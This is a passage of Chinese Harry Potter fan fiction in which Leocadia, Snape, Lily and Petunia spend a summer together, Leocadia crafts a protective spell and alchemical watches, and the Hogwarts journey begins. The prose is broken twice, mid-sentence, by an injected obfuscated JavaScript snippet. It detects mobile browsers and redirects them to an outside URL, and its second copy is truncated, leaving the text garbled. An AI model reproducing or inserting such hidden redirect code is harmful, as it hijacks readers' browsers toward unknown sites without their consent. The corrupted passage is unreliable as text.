纯粹的力量令人眼花缭乱、目不暇接。 砰——! 最后一拳,沙袋再次滑到原点,被一只手打穿。 克伦威尔站在一开始的位置,除了打穿沙袋的右臂,她仿佛一动未动,衣服上没有一道褶皱,呼吸也平稳悠长。 她慢慢撤回拳头,铁灰色的填充物顺着她的手臂飞出,流了一地。 斯内普产生了一种她是从自己身体里抽出拳头的幻觉,全身哪哪都在幻疼。 莱奥卡蒂亚鼓掌的动静几乎掀翻了屋顶:“女士你好厉害呀!” 克伦威尔走下场:“只是稍微热了下身。我会把这里打扫干净的。” “没关系,正好要换新的沙袋了,我叫人来打扫也是一样的。”莱奥卡蒂亚摆摆手,“别的因素不计算在内的话,祖父说你的正面作战能打一个团。” 祖父当年就被克伦威尔从各种各样的地方救出来过好几次呢。 “这得看对手隶属于哪种军队,使用哪些武器。”克伦威尔实事求是,“我通常执行暗.杀和情报刺探的任务,并不需要用太多武力。” “那太不幸了,女士,在我身边你的能力注定被埋没。”莱奥卡蒂亚摇头晃脑,“这里没有任务,我给你的唯一任务就是陪我玩。” 斯内普用心声嘲讽:呵,让世界第一杀.手陪你过家家,不愧是m.afia家族的大小姐。 莱奥卡蒂亚横他,眼睛里是明晃晃的威胁和不屑:再叫我大小姐试试呢,我让女士揍你。 克伦威尔摘下手套,碰了碰莱奥卡蒂亚的脸,温热柔软的触感让莱奥卡蒂亚免于再披一件外套保暖。 “我会遵照您的意思,小姐。” 在我面前,再也没有人能伤害您。 28.28 对麻瓜学业满不在乎的斯内普和胜券在握的莉莉考完夏季学期的期末考后,莱奥卡蒂亚家彻底成了他们的游乐园。 有时候伊万斯先生和伊万斯夫人不在家,莉莉就会带姐姐佩妮一起过来。 第一次带佩妮来之前,莉莉还有些担心莱奥会不开心——斯内普就不用说了,他和佩妮每一次碰上的结果都是吵得天翻地覆——因为佩妮确实算不上什么好相处的性格。 但莱奥卡蒂亚却很无所谓。 “放心啦,西弗那么阴阳怪气(“谁阴阳怪气了?!”)我都没跟他吵起来过,我对付这样性格的小孩子很有一套,不会跟你姐姐吵架的。”莱奥卡蒂亚慢悠悠地躲过斯内普敲她头的手,“你姐姐喜欢吃什么?我让玛利亚准备食材。” 莉莉的担忧化作了好笑:“小孩子?你和我一样大,佩妮可比我们大呢!” 莱奥卡蒂亚不以为然:“身体年龄大又不代表心理年龄大,这种人我见多了。再说了,我可是学了好几年心理学的。” 果然如她所说,佩妮奇迹般的与莱奥卡蒂亚成为了朋友。 美味的甜品、好看的首饰、流行的音乐、喜欢的明星,一套组合拳下来,佩妮已经引莱奥卡蒂亚为知己,恨不得跟莉莉一样常驻在莱奥卡蒂亚家。 莉莉觉得原因很简单,谁能不喜欢一位贴心、温柔又漂亮的有钱朋友呢? “也可能是因为我和佩妮的头发都是金色的?”莱奥卡蒂亚贴着佩妮坐着,并给她添上茶水,“好了,今天西弗回普林斯庄园去了,现在是我们的女生茶话会时间。” 佩妮坐在妹妹和新朋友之间,还是有点拘谨,轻声自嘲:“看来我是这里唯一一个没有特殊才能的普通人。” 莉莉知道她又钻牛角尖了。 莱奥卡蒂亚却认真地摇头:“佩妮肯定也有不普通的一面呀。你最喜欢做什么?对什么感兴趣?” 佩妮有些茫然:“我……?” 她咬着嘴唇想了许久:“也许,我喜欢烹饪?还喜欢收拾房间……” “是的,”莉莉连忙肯定,“佩妮的房间很干净,而且她现在已经会做饭了呢!” 莱奥卡蒂亚敬佩地看着她:“这不是很厉害吗?我的房间永远需要别人帮我收拾,烹饪课老师也只教了我三次就请辞了。” “‘莱奥纳多先生,我都不想说莱奥卡蒂亚小姐,她也许不需要上烹饪课,我从没见过能把锅和锅盖焊在一起的学生!’”莱奥卡蒂亚站起来,声情并茂、阴阳怪气地表演,“‘她应该去实验室里做马德堡半球实验,这样的物理天才进厨房简直是屈才了!’” 她学着那个厨师的动作:“‘您看看,这是一份看起来像炭的意大利面!上帝保佑,这是她的第一次尝试,而第二次尝试,她就把锅焊上了!’” 莉莉和佩妮笑得倒在一起。 “在我们家,世界上最不能得罪的就是厨子和帮你打扫房间的人,”莱奥卡蒂亚重新坐下,“所以佩妮,在我眼里你是非常厉害的,就像玛利亚一样。对了,玛利亚可是厨师学校毕业的高材生哦。” 佩妮被夸得小脸通红:“也没有那么厉害啦。不过,厨师学校?” “对啊对啊,我家在罗马开的,对标法国的蓝带厨艺学院。主要分家政服务、酒店管理、烹饪和甜品制作四个大方向,特色专业有红酒专业、咖啡专业、面包专业、意大利面专业、披萨专业和巧克力专业,主要为我家的产业提供专业对口的人才。” 莉莉“哇”了一声:“听起来很有趣。” “确实很有趣啦,每天都有新想法和新理念在碰撞,跟文艺复兴时期一样热闹。”莱奥卡蒂亚的目光在点心塔里巡视,最终选定一枚桃子挞,“家里来信说最近披萨专业和意大利面专业在吵架。起因是有个学生提出能不能做水果披萨,披萨专业辩论了三天三夜,路过的意大利面专业学生嘲讽了一句,披萨专业开始一致对外,说要用巧克力酱拌意大利面。”* 莉莉听得有些发蒙:“我、我觉得都可以呀?” 莱奥卡蒂亚用斯内普式的口吻嘲讽:“呵,英国人。莉莉·伊万斯小姐,你要是去玛利亚面前说这话,你今天就别想亵.渎她准备的丰盛晚饭了。” 莉莉掐住她的脸晃了两晃:“不要学西弗。” 佩妮则默默出神,莱奥卡蒂亚看见了她脑海中的幻想:轻松做出完美的蛋糕,然后获得所有同学的羡慕和老师的嘉奖。 莱奥卡蒂亚分了一半桃子挞推给佩妮:“如果佩妮感兴趣的话,我可以帮你写推荐信,等你上完高中就可以去罗马,还有助学金和奖学金,完全不用为学费考虑。” “啊,谢谢。”佩妮接过甜点盘,有点不好意思,“其实我只是……推荐信……我一直以为,我喜欢的事是没有任何亮点的。” 莱奥卡蒂亚一脸严肃,假装要拽回盘子:“都说了不可以这么想,再这么想就不准吃玛利亚做的桃子挞了。” 佩妮急急忙忙地护住盘子:“好好好,我不说了。” “这就对了嘛。”莱奥卡蒂亚松开手,揽住佩妮尖瘦的肩膀,“这个世界上每个人都有自己擅长的事,也有不擅长的事。世界是公平的,如果你想得到,就必须付出代价。” “像莉莉,她其实很不擅长学其他语言,比如意大利语;像西弗勒斯,他用情商换了魔药天赋;像我,我用一堆身体上的毛病换了爱我的家人和朋友。”莱奥卡蒂亚揽着佩妮晃呀晃,“每个人都是不完美的,佩妮,所以你不用羡慕别人,找到你自己的闪光点就好了呀,总有人会欣赏你会爱你的。” “是呀,佩妮,我爱你,无论如何,你都是我的姐姐。”莉莉也揽着佩妮,跟她们一起摇摇晃晃,“我知道有时候爸爸妈妈对你的成绩视而不见,这是不应该的,我们要好好地批评他们!” 佩妮感动地搂住妹妹。 莱奥卡蒂亚提议:“这个可以让玛利亚或者女士代劳哦,大人一般只听大人的话。” 莉莉打了个冷颤:“克伦威尔女士?这就大可不必了吧……” “那就玛利亚,她还挺热心的哦,就像普通的邻居拜访一样,带上点心去你家和你们的父母聊聊天。”莱奥卡蒂亚露出一种奇怪的向往,“啊,好普通的日常,我喜欢。” 佩妮不由得问出一个自己疑惑了很久、莉莉也语焉不详的问题:“所以你的爸爸妈妈是在外地工作吗?” 她听那些家庭主妇们嘀咕过,这么偌大一个家,就只有一个小女孩和一个厨娘,围栏也不算高,要不是他们这条街的治安还算可以,最近巡警还增加了巡逻次数,肯定早就被那些坏人“光顾”了。 “是啊,我爸爸是考古学家啦,一年到头也见不到几次,要不是我记忆力好,我可能连他长什么样子都记不得了。母亲也是一样的在外奔波。”莱奥卡蒂亚大大方方承认,“所以我是被祖父母带大的。” 佩妮还是好奇:“那你的妈妈是做什么的?你的祖父母好像很有钱的样子。” “是很有钱,但开销也很大。”莱奥卡蒂亚一笔带过,“至于我母亲……” 她想了想:“她是巫师,也是一名无国界医生。”* 注意到姐妹俩半懂不懂的神情,莱奥卡蒂亚笑了笑,自豪的解释:“无国界医生就是不分种族、宗.教、信仰和政.治.立场,为身处困境的人们以及天灾人祸和武装冲突的受害者提供援助的医生哦。”* “听起来好危险。”佩妮犹豫着说,“这样的话,你妈妈也不能随时陪着你吧?” “没错,世界上还有很多地方不平静,有些地方甚至至今没有基础医疗药品,对医疗工作也相当不了解,还会驱赶医生们。但是一想到母亲在为需要帮助的人们奔走,拯救那些本不该逝去的生命,我就为她骄傲。” 莱奥卡蒂亚灿烂地笑着:“我觉得母亲超伟大!” 莉莉也跟着笑起来,轻轻调笑佩妮说过的话:“所以学魔法的人也不全是怪胎,还有很厉害的医生。” 佩妮涨红了脸:“莉莉,我也没说……好吧,我承认当时不该那么说你的,我应该向你和斯内普道歉。对不起,莉莉。” 莉莉抿唇笑着:“没关系的佩妮,我早就原谅你啦,你可是我姐姐。不过,我们都知道西弗勒斯有时候说话很刻薄,你别和他一般计较。” 莱奥卡蒂亚警觉:“又是西弗勒斯?他的嘴又在讨人嫌了?佩妮,他要是欺负你你就告诉我,我帮你修理他。” 一本古旧的书敲在莱奥卡蒂亚的脑袋上,又被扔进她怀里:“我怎么最近老是听见你在背后骂我?” 莱奥卡蒂亚:“那是因为你活该。咦?这是什么?” 刚刚才被姑娘们集体嫌弃的斯内普翻了个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13307036|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的白眼:“普林斯家关于炼金术的书。真是白想着拿给你看了。” 他跟莉莉打了招呼,又看一眼佩妮,冷淡地叫一声“伊万斯”,算是打了招呼。 “这里可是有两个伊万斯,谁知道你在叫谁。”莱奥卡蒂亚低头翻着书,“哎呀!《木质傀儡的制作要点》!阿不思说这本书早就失传了!Grazie, tesoro~(谢谢你,甜心)” “别恶心人。”斯内普平静地呛她。 佩妮看看莱奥卡蒂亚,又看看斯内普,在莉莉鼓励的眼神下,故作大方地说道:“对不起,斯内普,上次我不该说你是怪胎,我向你道歉。” 斯内普跟看见黄瓜的黑猫一样僵住。 “你们谁给她施夺魂咒了吗?”他谨慎地后退半步,“还是说你们给她喝什么魔药了?” 直觉斯内普没说什么好话的佩妮瞬间炸毛:“你说什么?!我在和你道歉呢!” 莉莉也警告地看着斯内普:“西弗,佩妮是真的觉得很抱歉。” 莱奥卡蒂亚看也不看就一巴掌拍他背上:“我警告你,好好接受别人的道歉是一种美德,拿出你的绅士风度来。” 斯内普被她打得“嗷”了一声,面目扭曲。 佩妮没绷住,飞快笑了一下,又板起脸。 “……好吧,上次我也不该说你的,伊万斯……佩妮。”斯内普低头看着脚尖,“这件事我也有错。” 佩妮假装不在乎地甩甩头发:“哼,那我就原谅你了。” 莱奥卡蒂亚怪叫:“这么轻易就原谅他了吗?佩妮你太心软啦,快让普林斯家的继承人掏点好东西给你赔礼道歉。欸?你口袋里是什么?怎么看上去有东西?” 斯内普揉乱她的头发:“你可闭嘴吧。” “什么好东西?我也要!”莉莉伸手就去掏斯内普的口袋。 斯内普敏捷跳开:“没有什么好东西,只有两个西可!莉莉你跟莱奥学坏了!别学她直接上手的坏习惯!” 莉莉嘻嘻笑着:“我不!佩妮,我们抓住西弗,西可是银币哦,我们一人一个!” 佩妮露出快乐的笑:“好!” 莱奥卡蒂亚在一旁给佩妮和莉莉呐喊助威,这场比赛最终以她伸脚绊倒斯内普,两个姑娘笑闹着去捡从他口袋掉到花丛里的西可告终。 斯内普埋怨瞪她:“你是故意的。” 莱奥卡蒂亚把他拉起来:“哼哼,两个西可换佩妮和莉莉的笑容不是很划算吗?” 斯内普更怨念了:“那是我留着买书的钱。” “普林斯家什么书没有,还要你买?我看你就是在攒自己的小金库罢了。”莱奥卡蒂亚对他的说辞嗤之以鼻,“快,把你找到的炼金术相关的书籍通通上贡。” 斯内普拿了个培根煎蛋三明治慢慢啃,最近长了一点肉的脸颊鼓起一个弧度:“放二楼楼梯口了。” 莱奥卡蒂亚疑惑:“你直接放我房间里不就行了?” 斯内普无语凝噎:“你刚刚还说让我有绅士风度,请问哪家绅士能随意进淑女房间?罗密欧都只是翻墙进花园和朱丽叶见面。” 莱奥卡蒂亚隔了好一会儿才缓缓开口:“朋友,虽然我很高兴你对莎士比亚产生了兴趣,但你是不是没看完?你不觉得这个比喻很不合适吗?” 斯内普后知后觉有点不对劲。 他还真是只看了一点点。 这本《罗密欧和朱丽叶》是弗雷德里克推荐的,他说这书虽然是麻瓜写的但还挺带劲,斯内普随手翻了两页,觉得还是魔药吸引他,就随手塞回书柜里。 莱奥卡蒂亚不得不给逃学的小学生科普:“暂且不提罗密欧17岁就看上了13岁的朱丽叶这件事能不能说明他是不是一个该死的paedophilia,就说他和朱丽叶秘密结婚又夜袭淑女闺房度过新婚之夜这种行为,亲爱的西弗勒斯,你觉得你是罗密欧还是朱丽叶?我们只有九岁,但你想被女士切成几块?” 斯内普不想讨论文学作品与现实的差别,更不想做9岁的罗密欧被克伦威尔大卸八块。他默默吃完一整个不大的三明治,假装无事发生。 莱奥卡蒂亚恨铁不成钢:“所以说,你给我好好听一点文学鉴赏课吧!别什么比喻都没详细了解就瞎用!” 斯内普难得没有强烈拒绝,模棱两可地嘟哝:“随你吧。” 29.29 莉莉带着佩妮在花园里玩,斯内普和莱奥卡蒂亚说了几句普林斯庄园的情况。 “除了一些药材和书,那地方没有别的可取之处,”斯内普一脸嫌恶,“那两只家养小精灵不欢迎妈妈和我,还说我是混血。老实说我也讨厌他们,但普林斯庄园需要他们维护。” 莱奥卡蒂亚整个人都钻进书里了:“混血就混血呗,我还不是混血。这个炼金阵没见过欸,我去试试!” 她抱着书跑了。 斯内普想了想,也跟着溜了。 等莉莉和佩妮戴着花圈回到凉亭,亭子里只剩下点心塔和纳凉的狗狗们。 “哼,不理他们了。”莉莉抱怨,“又是这样,扔下我去研究炼金术和魔药。佩妮,咱们自己玩。” * 代表循环的圆,代表能量流动的线,代表大地的正三角,代表咒语的如尼刻纹。 圆形切割、交叠,构成回路。 线条链接、汇聚,支付代价。 咒语阐释、许愿,构建骨架。 祭品置于圆中,魔力沟通代价与理想。 单个魔文字符具备不同的含义,但如果按照一定顺序和技巧排列,就能让它们相互勾连,形成流动的图腾,储存并转化魔力,以达到想要的效果。 理解,分解,再构成。 炼金术的根本原理很简单,就是根据等价交换原则,人们用魔力和金属将物体性质转换,制作出自己想要的东西。* 如果将魔力标示出颜色,再将魔力运转的动态合成做一张图,不难发现炼金阵就是一个小型的加工型机械运行过程。 而无数个炼金阵和材料叠加,置换出所需的材料和法阵特性,就能构建出一个两端相连的等式。 炼金术没办法无中生有,这是尼可·勒梅和邓布利多的结论。 炼金阵也只是构建出整体所需的结构和功能,需要魔力和带有魔力的材料进行支撑,一旦阵法损毁就很难再次修补,因为重新完成一次整体的魔力回路不如重新做一个炼金制品,两者消耗的魔力和材料是一样的。 莱奥卡蒂亚深以为然。 就像她和佩妮说的那样,世界的本质是等价交换。 付出什么,就得到什么。 失去什么,就收获什么。 她合上手里古旧的书,将刻上炼金阵的秘银片夹在书里,开始发散思维。 在炼金阵上加入魔咒确实能实现1+1>2的效果,就是很难与老式的炼金阵一起使用,可能是因为单个如尼文就能代表的意思,现代咒语往往需要几个字母来表示。 但使用现代咒语的好处是,词根代表的魔法元素和期待效果更清晰准确…… 比如,阿瓦达索命咒。 莱奥卡蒂亚挥舞魔杖,杖尖在空中写下莹白的咒语。 Avada Kedavra 阿拉伯语中有一个词,“abracadabra”,意思是“我创造了,我摧毁了”。祖父带她去看马戏团魔术师表演的时候,那个修着两撇精致小胡子的魔术师告诉她,这个咒语可以驱逐疾病和诅咒。 她在希伯来语的典籍里也找到一句话,“abada ke-davra”,意思是“我说了,就这样做了”,犹.太.教认为这是上帝创造世界的语言。 最直观的还是拉丁语,“ab aeterno cadaver”,意思是“从永恒到尸体”。这个词暗示了阿瓦达索命咒的致命效果,能够将生命瞬间化为死亡。 莱奥卡蒂亚沉思着挥挥魔杖,把这行咒语消除。 消除疾病……消除……消除某个真实存在的事物,让它从躯壳到灵魂都消失在我面前,必中必死,我的言律即为我的意志。 真是恶毒的咒语,看起来这个魔法需要很强的意志力和魔力。 莱奥卡蒂亚吭哧两声,站起来,在房间里来回踱步。 走了几圈后,她拉开一点为了避光刻炼金阵的窗帘,从她的卧室可以看到花园里玩耍的佩妮和莉莉。 与恐惧和死亡对立的,是爱、希望与生存。但这一类正面情绪闻着美好,实际上比负面情绪更难从情绪中提取。 很多的正面情绪都是含蓄、深层的,看似没有负面情绪起眼,实则就像尖刀和川流的区别。 尖刀能刺伤人,收割生命,却割不断生生不息的江流。 莱奥卡蒂亚坐回书桌前,转着没蘸墨水的黄铜钢笔。 但丁的《神曲》将9重天的第3天金星天称为“爱神天”,里面居住的是为爱升天的灵魂,又将“色.欲”定义为过度的爱。 意大利语的金星拼作Venere,源自拉丁词根Venus或者Vnus。 过分的爱……爱神……金星……阿芙洛狄忒……维纳斯。 维纳斯是意大利本土女神的演化形象。 很好,意大利人需要和女神贴贴。 莱奥卡蒂亚翻出一张纸。 为了让女神不用费心转译,还是用意大利语吧。 第一个词根,vnu,爱。 第二个词根,protegegere,保护。 第三个词根,eliminare,消除。 第四个词根,sacro,神圣 ……要不对应的拉丁文也写一写吧,意大利语和拉丁语有些像,但造句方式不一样。 她又写下对应的如尼文。 开始组词造句。 我看看,最终的预期效果是—— “神圣的爱永远保护我,消除一切邪恶”? 莱奥卡蒂亚觉得人不能好高骛远,在“消除”下面写下一个“抵御”。 能防守也不错。 她满意地转转笔,被甩了一脸墨点。 ‘好吧,看来在创造咒语之前,伟大的萨卢佐小姐更需要用清理一新把自己洗白白。’ 莱奥卡蒂亚对自己用咒语,然后继续思考。 比起找出能用的词根和如尼文,显然是将它们组合出预期效果更难。 人人都知道机器是由齿轮和零件组成的,现在莱奥卡蒂亚要做的事,就是把这些零件组装成……航空母舰? 很有挑战的想法,莱奥卡蒂亚决定将几种词根排列组合,依次试验。 她随手拿了一个马克杯,想象这个杯子朝自己发射索命咒,然后调动魔力和关于爱的记忆。 等等。 如果要抵挡索命咒,将如尼文和现代魔咒结合会不会更好一点? 比如,模拟如尼文的形状作为手势轨迹? “kenaz”,形状类似“<”,意为内在之光; “hagalaz”,形状类似大写的H,意为终结; “gebo”,形似大写的“X”,意为礼物、积极和奇迹; “thurisaz”,出头的三角旗帜,意为保护三角,也有刺的意思…… 莱奥卡蒂亚比划几下,有点搞不准伏地魔的索命咒有没有固定手势。 如果有,应该是“eihwaz”? 这个如尼文代表紫杉、十三、毁灭与死亡……或者毁灭与创造。 听奥利凡德说,那家伙的魔杖好像就是紫杉木加凤凰羽毛。 emmm,改天问问邓布利多吧! 她决定先用几个排列组合试一试。 “Sacprote Vnuelimisure……不行不行,太长了。” “Veraprote Elimisure……还是太长了。” 莱奥卡蒂亚啃着笔头。 咚咚—— “要吃饭了,你还没好吗?”门口是斯内普。 莱奥卡蒂亚伸了个懒腰,放下笔:“马上就来啦!” 实验一个咒语需要无数次的尝试,如果要将它运用到炼金术中,那花费的时间和精力就不是金钱能衡量的了。 春去秋来,莱奥卡蒂亚在英国吃过两次生日蛋糕,去霍格沃茨蹭了无数次校长私人小课,鞋子和衣服加了两个码数。 终于,一只猫头鹰飞进莱奥卡蒂亚的窗台。 安布拉和送信的猫头鹰不太友好地互动。 飘到凌乱桌面中的信封上,绿色的墨水在炼金阵的映照下闪闪发光。 “坐在书桌前的, 莱奥卡蒂亚·萨卢佐小姐收” 安布拉“唧唧”叫着,为不是自己给主人送来录取通知书而发脾气。 “Sii buono,Ambra.(乖一点,安布拉)”莱奥卡蒂亚哼笑着抽出拆信刀。 “HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY (霍格沃茨魔法学校) Headmaster: Albus Dumbledore 校长:阿不思·邓布利多 (Order of Merlin, First Class, Grand Sorc., Chf. Warlock, Supreme Mugwump, International Confed. of Wizards) (梅林爵士一级勋章,威森加摩首席巫师,国际巫师联合会主席) Dear Miss. Saluzzo, (亲爱的萨卢佐小姐,) We are pleased to inform you that you have been accepted at Hogwarts School of Witchcraft and Wizardry. Please find enclosed a list of all necessary books and equipment…… (我们很高兴通知您,您已获准在霍格沃茨魔法学校就读。随信附赠所需书籍和物品一览表……) 她看到这一行时,楼下传来斯内普兴奋的尖叫。 莱奥卡蒂亚“砰”地打开门:“别叫啦西弗!今天才8月1号!还有好多天才去霍格沃茨!” “你管我!我就是想叫!” “啊啊啊啊啊啊啊啊!”莉莉的声音由远及近,“莱奥!西弗!我收到信了!我收到信了!” “知道啦!你们两个都给我冷静一点!” 莱奥卡蒂亚又“砰”地关上门。 她把信扔到一边,戴上放大镜把怀表环扣好,穿上银色的表链。 咔哒。 嗡—— 魔力顺着铭文与魔法回路循环流转,生生不息。 “完成!”莱奥卡蒂亚长长舒了一口气。 总算赶在开学前做好啦! 她得意洋洋地仰天大笑。 三枚炼金怀表!三枚! 我们仨正好一人一个! 她高举着怀表冲下楼。 莉莉正和斯内普比对他们的录取通知书,听见她下楼的动静纷纷看过来。 “开学礼物!”莱奥卡蒂亚振臂高呼。 表壳正面上刻着一朵栩栩如生的百合花、背面刻着花体L.Y的怀表递给莉莉。 另一枚正面刻坩埚,背后刻S.S的怀表扔进斯内普怀里。 莱奥卡蒂亚美滋滋地戴上自己的,觉得狼首怎么看怎么霸气,L.S的名字缩写也很漂亮。 莉莉:“哇!好漂亮!这是你做的吗?” 莱奥卡蒂亚得意哼哼:“那是!这可是炼金作品!不仅可以看时间,还有别的功能哦!” 她按下怀表把,露出里面精致的表盘,用火龙鳞片磨成的三根指针运转在镶嵌黑曜石的洁白贝母表盘上,中央的红宝石闪烁着温润的红光。 莱奥卡蒂亚变出一根银针,轻轻扎在指尖上,落下一滴血在红宝石上。 “使用前先滴一滴血在红宝石上。”莱奥卡蒂亚解释,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怀表把喷出一股银白的雾气,在空中凝结出一个单词:疑惑。 随后又凝结出:了然、自豪、爱。 莱奥卡蒂亚捧脸:“哇,女士接受得好快,我也爱你哦!” 莉莉像捧着稀世珍宝一样捧着自己的怀表:“莱奥,虽然说过很多次,我还是得说你是个天才!” 莱奥卡蒂亚夸张地鞠躬:“谢谢、谢谢。虽然肯定不是我自己一个人完成的,这里还要感谢尼可的指导和纽特的材料。” 斯内普默默跟着莱奥卡蒂亚试用了一遍怀表,指着她表盘上的“紧急措施”和“守护之盾”问:“这两个功能是什么?” “‘紧急措施’就是遇到危险的时候按下,然后用力扔出去,怀表就会爆炸,强度大概是十吨t.n.t爆炸的威力。也就是我用的魔法材料都很强,所以才能有这么强的威力。” 莉莉伸出手指,把莱奥卡蒂亚虚悬在“紧急措施”上的手指挑到“守护之盾”上:“还是说说这个吧。” “啊,这个,”莱奥卡蒂亚同样没有按下去,“这个功能还在怀表上没试验过,估计也没什么试验的机会。” “这是个血魔法。按下去之后表盘就会吸取你的血,和名字主人的血融合,如果他们对彼此有很强烈的正向情感,怀表就能用血液作为媒介,实现一个强力的守护型咒语。” 莱奥卡蒂亚用魔杖在空中写下一行咒语: Vamorastemp Elimalare “这个咒语的意思是,‘神圣的爱如风暴,永远保护我,抵御和消除一切邪恶’,我和阿不思用夺魂咒和钻心剜骨做过实验,完全可以抵御。”莱奥卡蒂亚轻描淡写,“但索命咒就没实验过啦。” “也就是说,这个咒语可以抵挡三大不可饶恕咒中的两个?!”斯内普惊呼,“我怎么没看见过这个咒语?!” “鄙人不才,这个咒语是我自创的,从提出设想到真正完成,我和阿不思,我们的魔咒教授,尼可,纽特,以及一位不愿透露姓名的凤梨头老人家,我们用了一年多的时间才完善。”莱奥卡蒂亚嚣张地张开双臂,“快来膜拜天才!” 莉莉扑上来就是一个亲亲:“天才,快教我!我要学这个!” “学学学,都可以学,”莱奥卡蒂亚大手一挥,“西弗,你的学费呢?” 斯内普无语:“你不会让我也亲你一口吧?” “也不是不行。”莱奥卡蒂亚抱着莉莉,笑得挑衅。 她身后的克伦威尔抬起眼睛,凝视斯内普。 斯内普还不太想被埋进花园里,耳尖涨红:“……知道了,会给你的。” “那就先欠着。”莱奥卡蒂亚不太满意地哼哼,“其他东西我们都有了,就是没有校服。我跟阿不思说过,莉莉的指引老师就不用派了,我们先去带着莉莉买魔杖,再一起去订做校服吧。” 眼馋小伙伴们的魔杖许久了的莉莉欢呼:“好耶!我回去叫爸爸妈妈!佩妮也能一起去吗?” “当然可以,”佩妮已经不怎么抵触魔法了,“如果她愿意去,我就送她一只猫头鹰。” 莉莉风一样地跑回家叫人了,莱奥卡蒂亚拉过斯内普的手,按三下怀表把,用那根透明的指针戳了一下斯内普的指尖,放出两滴血。 一滴用在她的怀表上,一滴用在他自己的怀表上。 然后伸出自己的手:“你轻点哦。” 斯内普冷哼,恶狠狠地抓过她的手,狞笑着用透明指针……轻轻扎了一下莱奥卡蒂亚的食指,等她的名字出现在格子里后,就把怀表妥帖地放进胸带。 莱奥卡蒂亚眨眨眼睛。 “……应该让莉莉扎了你我,我们再扎过她以后再让她走的。”莱奥卡蒂亚吐槽,“不然一会儿还要扎一次。” “又不疼。”斯内普下巴抬得高高的,“没有比利威格虫的尾针扎人疼,怕疼的娇气包大小姐。” 莱奥卡蒂亚嘻嘻:“我不信。” 她变出一根巨大的顶针,在斯内普惊恐的目光中对准他的手臂:“来,再让我扎一下。” “啪的一下,很快的。” 莱奥卡蒂亚狞笑。 30.结仇 西里斯·布莱克出门前才被骂了一顿,现在也懒得听爹妈的长篇大论,趁他们被火车鸣笛吵到的一瞬间飞快溜走。 还顺手捞走一个詹姆·波特。 “嘿!西里斯你别拉我领子——圣诞节见爸爸妈妈!”詹姆使劲拍开西里斯的手,“我发誓我会每天给你们写信的,爱你们~” “‘爱~你~们~’,真肉麻兄弟,”西里斯翻了个白眼,又对着波特先生和波特夫人俏皮眨眼,“弗利蒙,尤菲,我把这家伙带走了,你们快回家度蜜月吧~替我向多瑞娅和查勒斯问好~” “你们不许在学校里胡闹,听见没有——”波特先生的声音彻底淹没在嘈杂的人群中。 他们挨挨挤挤地和一群新生挤进车门。 “你这是又跟你爸妈吵架了?”詹姆扯着嗓子问。 “是啊,他们让我去斯莱特林!”西里斯也喊回去,“见鬼的家族传统,去他的!我才不去!” “好样的兄弟,我们一起去格兰芬多!”詹姆兴奋一笑。 上了车就得抢车厢,西里斯和詹姆对视一眼,径直走向车尾。 “纳西莎说车尾的人少。”西里斯说着从堂姐那听来的消息,“但我绝对不要跟她和马尔福坐一块儿,绝对!” “随便你,我们两个占一个车厢也挺好。”詹姆的目光梭巡在一个个车厢里,“快帮我找找一个红发姑娘——我刚刚在站台看见她,她可真漂亮!” 西里斯大惊:“不会吧?!你第一天就看上漂亮姑娘了?你是没见过纯血家族的漂亮姑娘们吗?” “那姑娘不一样,”詹姆嘟哝,“她、你看见她就知道了,我从没见过和她一样的……哦!在那里!” 西里斯循着他指的方向看去,果然看见一个红发如火的姑娘背影一转,径直走进倒数第三个车厢。 詹姆兴奋地拉着他就是一个爆冲:“快走西里斯!她肯定不是纯血家族的,巫师界除了韦斯莱家也没有别的红头发了,说不定我还能跟她说说话!” 这回换做西里斯被他拉着领带翻白眼了。 他们来到车厢门口,詹姆整理整理仪表,扒拉两下永远不服帖的鸡窝头,在西里斯鄙夷的眼神中直接推门:“嗨,这里有人吗——” 里面的说话声也飘出来,是一个清脆又飒爽的姑娘在指责什么人:“——希望你这次长了记性,Leo,别再……不好意思这里有人了。” 西里斯探头一看,果然发现里面已经坐了三个人。 刚刚的红发姑娘坐在靠门的位置,惊讶地回头。 她旁边坐着个趴在火车桌板上的金色短发,穿着西装马甲,隐约能看见一个装模作样的克拉夫特胸领,身形清瘦,大概是个男的。 另一边是个深棕色头发的男生,西里斯觉得他有点眼熟,好像是哪个纯血家族的。 “哦,没关系,我们可以挤一挤。”詹姆半点儿不带犹豫的。 “我的意思是,我们还有一个人,他马上就来了,这里坐不下。”红发女孩皱眉,说完就转向那颗金脑袋,直接伸手去摸金脑袋的脖子,“——好烫,幸好今天早上Seve在你家,我跟他说带点退烧药给你喝。” 詹姆和西里斯完全被晾在门口。 詹姆还想再说点什么,一个阴沉沉的男声就从背后传来:“或许你们可以挪个位置,不要堵着别人的路?劳驾让让,如果你们的腿不是摆设的话。” 詹姆的火一下子就上来了:“你又是谁?这里有人了!” “不好意思,我就是那个‘这里的人’。” 说话的男生有着半长微卷的黑发,用一根灰紫色的发带束着,见西里斯和詹姆一动不动,轻嗤一声,两片薄薄的嘴唇里泄出一句咒语。 两座门神被“哧溜”一下关进隔壁的车厢。 “西弗!你拿药来了吗?” “拿了,”斯内普从口袋里掏出一个玻璃瓶,“你说要退烧药水……她这是在干什么?” “在当树懒。”莉莉暴躁地把装鸵鸟的金脑袋从臂弯里拔出来,“吃药!然后睡一觉!今天可是我们第一天开学呢!” 金色短发的姑娘面色.潮.红,耳垂上戴着两颗紫水晶耳钉,痛苦地闭着眼睛,心智和思考能力因为高热退化到三岁的水平:“我不,我要吃布洛芬和药片,我不要喝魔药。” 斯内普被她低哑暗沉的嗓音吓了一跳:“她这是烧糊涂了?” 